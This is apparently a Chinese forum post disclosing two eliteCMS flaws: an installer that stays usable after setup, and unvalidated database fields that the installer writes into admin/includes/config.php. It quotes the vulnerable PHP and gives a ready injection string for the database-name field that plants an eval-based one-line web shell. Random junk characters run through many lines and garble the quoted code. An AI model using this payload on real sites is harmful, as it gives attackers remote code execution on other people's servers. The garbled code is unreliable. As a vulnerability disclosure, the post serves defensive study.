eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
' O. p3 T% w1 c& H# z. P9 F我们来看代码：
$ z7 |! V: M+ @: ~
" x2 @* l3 W1 M" L+ g7 P# j...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
  i3 ^* L% T) t7 B7 O    $write = "<?php\n";
    $write .= "/**\n";
: j* H2 l4 u! l' Q! k8 ]    $write .= "*\n";
5 j' n# \- ~8 r7 u/ G    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
6 T' E7 d2 x# k3 H! l  h9 A1 t    $write .= "*\n";
    $write .= "*/\n";
6 S$ U' i0 [0 A+ q; U% N0 `" t- p    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
+ W. m; o2 d9 n- e    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
! q7 h3 T# y; T: L    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
3 g$ `& W# \+ R" t' `    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
$ `. X' T7 E0 d+ h& `6 [    $write .= "if (!\$connection) {\n";
( l: e. F/ h  O+ A    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
3 Q8 h* R& Z/ v/ `( S    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
0 W# F+ T7 K8 ?, x/ w4 a  G    $write .= "if (!\$db_select) {\n";
2 R8 g8 p  F( {    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";
; ^# Y7 q9 C# G# a/ }: T
! c8 X4 b0 J' l! g    $writer = fopen($file, 'w');
% P( s1 \, t; P; g& z- ^3 }...
" v* t$ `0 w2 L  s/ y3 U' |4 y" o
+ K! i$ V5 C0 i) F9 @8 ^, D在看代码：

) F4 v2 ~- Y5 d. _. r% ]& ~" r$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
: k) D! V! R  I1 J; C0 h$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
' j" K2 X4 Y9 {! q: t  i% M0 D$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
( M, n1 ~2 b7 O$ M- u- Q, r
取值未作任何验证
如果将数据库名POST数据：
: N+ A9 R) P/ U8 t$ ^( u
"?><?php eval($_POST[c]);?><?php
( j' [* O- y' P9 C. G$ o
将导致一句话后门写入/admin/includes/config.php